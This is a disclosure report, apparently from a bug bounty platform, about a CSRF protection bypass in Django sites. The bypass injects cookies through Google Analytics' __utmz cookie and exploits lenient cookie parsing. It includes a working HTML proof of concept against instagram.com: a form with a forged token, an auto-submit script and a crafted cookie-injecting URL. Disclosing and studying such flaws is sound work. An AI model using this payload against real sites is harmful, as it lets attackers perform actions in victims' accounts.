CSRF protection bypass on any Django powered site via Google Analytics
D
Django
Submitted None
Actions:
Reported by
bobrov
Vulnerability Details
Technical details and impact analysis
I shall explain all the steps to create the final PoC in order to be more clear.
Part 1. Cookie Injection via Google Analytics
---------------------
(Reported to Google, rewarded, still working)
* Google Analytics sets the cookie to track user source:
`__utmz=123456.123456789.11.2.utmcsr=[HOST]|utmccn=(referral)|utmcmd=referral|utmcct=[PATH]`
For example:
`__utmz=123456.123456789.11.2.utmcsr=blackfan.ru|utmccn=(referral)|utmcmd=referral|utmcct=/path/`
* User fully controls path in Referer and it is not filtered before being put in __utmz
Part 2. Cookie parsing peculiarities by different web servers
---------------------
* A typical Cookie sent by a web browser looks like this:
Cookie: param1=value1; param2=value2;
* Many web servers accept cookies delimited not only by semicolons but also by commas:
Cookie: param1=value2, param2=value2
Cookie: param1=value2,param2=value2
* Python + Django handle cookies with incorrect regular expression that allows to use characters [ \ ] as delimiters:
Cookie: param1=value1]param2=value2
https://docs.python.org/3/library/http.cookies.html
http://hg.python.org/cpython/file/3.4/Lib/http/cookies.py#l432
http://tools.ietf.org/html/rfc2109
http://tools.ietf.org/html/rfc2068
Example:
```
>>> from http import cookies
>>> C = cookies.SimpleCookie()
>>> C.load('__utmz=blah]csrftoken=x')
>>> C
<SimpleCookie: csrftoken='x'>
```
Part 3. Cookie handling peculiarities in different web browsers
---------------------
(Reported to Google, won't fix)
* For all the web browsers except Safari characters of space, comma, and [ \ ] can be used as cookie values
* Chrome handles only a limited number of cookie-attributes, e.g.:
Set-Cookie: test=test; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=blah.blah.blah.google.com;
will set cookie for .google.com but not for blah.blah.blah.google.com
Combining all these facts
---------------------
Provided that:
* A site uses Google Analytics
* This site is hosted by a web server that has some of the aforementioned cookie parsing peculiarities (e.g. Django)
* This site implements Cookie based CSRF protection (a value in Cookie and some request parameter must be equal)
Then:
* We can set new arbitrary cookies or redefine the values of existing ones
* This site is vulnerable to CSRF protection bypass
The principal problem of __utmz cookie is that it is set for six months and is not refreshed. This problem can be solved in Google Chrome if you find a subdomain with Google Analytics and rewrite attribute "domain" using the peculiarity that has been described in part 3 with the value ".site.com".
In other browsers the vulnerability can be exploited by cookie injection at the moment of __utmz refreshing.
PoC
---------------------
Vulnerability exploitation on instagram.com with Google Chrome
(Reported to Facebook, redirected to Django Team)
* Open Google Chrome in incognito mode
* Authenticate on instagram.com
* Click the link and wait some seconds
* Result - follow http://instagram.com/black2fan
http://blackfan.ru/facebookbugbounty/nouysqaqfbskgobuqkknoitvyqmjgony_instagram.html
Source:
```
<form
action="http://instagram.com/web/friendships/1312928755/follow/?ref=emptyfeed"
id="csrf"
method="POST">
<input type="hidden" name="csrfmiddlewaretoken" value="x" />
<input type="submit" value="Submit request" />
</form>
<script>
function xxx() {
document.getElementById('csrf').submit();
}
</script>
<iframe
onload="xxx()"
src="http://blackfan.ru/r/,]csrftoken=x,;domain=.instagram.com;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;?r=http://blog.instagram.com/"/>
```
Description:
* A user authenticates on instagram.com
* We make him visit the link below assuming that he has not visited blog.instagram.com and he doesn't have __utmz set on this subdomain:
http://blackfan.ru/r/,]csrftoken=x,;domain=.instagram.com;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;?r=http://blog.instagram.com/
Cookie is rewritten with new path and domain, as a result cookie is set for .instagram.com:
__utmz=90378079.1401435337.1.1.utmcsr=blackfan.ru|utmccn=(referral)|utmcmd=referral|utmcct=/r/,]csrftoken=x,
* At this moment request to the web server will make it believe that cookie __utmz consists of incorrect cookie and CSRF token equals to "x"
* Submit follow form using CSRF-token "x"
Report Details
Additional information and metadata
State
Closed
Substate
Resolved